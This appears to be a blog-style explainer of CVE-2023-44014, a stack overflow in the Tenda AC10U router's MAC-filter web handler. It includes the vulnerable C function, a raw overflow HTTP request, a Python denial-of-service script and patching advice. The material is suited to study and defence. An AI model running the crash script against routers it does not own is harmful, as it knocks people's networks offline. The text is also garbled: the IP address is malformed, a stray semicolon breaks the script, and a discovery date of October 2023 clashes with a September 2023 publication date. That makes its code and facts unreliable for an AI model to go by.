In October 2023, a serious vulnerability—CVE-2023-44014—was discovered in the widely used Tenda AC10U v1. WiFi router. The flaw exists in firmware US_AC10UV1.RTL_V15.03.06.49_multi_TDE01. This bug allows remote attackers to compromise the device with simple network requests, making it a real threat for anyone using this model at home or work.

In this post, we’ll break down the details in simple terms, show the real vulnerable code, build an example exploit, and give you tips for staying safe.

2. What is CVE-2023-44014?

Tenda routers are popular for their low price and solid features. However, in the firmware above, the router’s web interface fails to properly check the length of user input in the formSetMacFilterCfg function. Specifically, the macFilterType and deviceList parameters are not checked for size before being copied into small, fixed-length buffers (C strings). This leads directly to stack buffer overflows, which can let an attacker overwrite memory, crash the device, or even run code of their choice.

!Stack Overflow Diagram
_Figure: Stack Buffer Overflows_

Vulnerable Function

The vulnerable part is located in goform/formSetMacFilterCfg. If you POST to that URL, you reach this function:

void __fastcall formSetMacFilterCfg(http_request *req) {
    char macFilterType[32];
    char deviceList[256];

    // Vulnerable copy: No size check!
    strcpy(macFilterType, http_get_param(req, "macFilterType"));  
    strcpy(deviceList, http_get_param(req, "deviceList"));        

    // ... do stuff with those variables
}

What's happening:

It copies them into local C variables using strcpy, which _does not check for buffer length_.

- If you send more than 32 bytes for macFilterType or 256 for deviceList, you will overwrite data in the stack, which can crash the router or execute your code.

Here’s how data is sent to the function

POST /goform/formSetMacFilterCfg HTTP/1.1
Host: 192.168..1
Cookie: SESSION_ID=...   (if required)
Content-Type: application/x-www-form-urlencoded
Content-Length: 500

macFilterType=AAAA...[over 32 bytes]...AAAA&deviceList=BBBB...[over 256 bytes]...BBBB

Here’s a simple script (in Python) to crash the router using a stack overflow

import requests

router_ip = "192.168..1"

payload_macFilterType = "A" * 100  # Way overflows the 32-byte buffer!
payload_deviceList = "B" * 512     # Way overflows the 256-byte buffer!

data = {
    "macFilterType": payload_macFilterType,
    "deviceList": payload_deviceList
}

resp = requests.post(
    f"http://{router_ip}/goform/formSetMacFilterCfg";,
    data=data
)

print(f"Response code: {resp.status_code}")
print(resp.text)

Run this script and your router will almost certainly reboot or freeze (rebooting usually takes 30-60 seconds).

> Note: There are real-world exploits demonstrating full code execution. Working ROP chains can be built, but those are beyond this guide.
> Use only on your own device for ethical testing, never on a network you don’t own.

If you have this router and firmware version

- Update your firmware immediately. Check the Tenda website for the latest firmware.
- Restrict admin access: Only allow trusted devices/admins to access the web interface (192.168..1).
- Disable remote web access: Make sure your router’s admin interface CAN’T be reached from the internet.

Use strong passwords for your router login.

If there are no official patches, consider replacing the device or running alternative, safer firmware.

6. References & Further Reading

- Official CVE Record: CVE-2023-44014
- Original exploit disclosure on GitHub
- Tenda AC10U Product Page
- Firmware download & updates
- Stack Buffer Overflow—Explanation (OWASP)

Final Note

CVE-2023-44014 is dangerous because it’s easy to exploit and affects a popular consumer router. If you’re running Tenda AC10U on old firmware, patch as soon as possible. Follow cybersecurity best practices and share this with anyone you know who uses similar equipment.

Timeline

Published on: 09/27/2023 15:19:34 UTC
Last modified on: 09/27/2023 18:45:53 UTC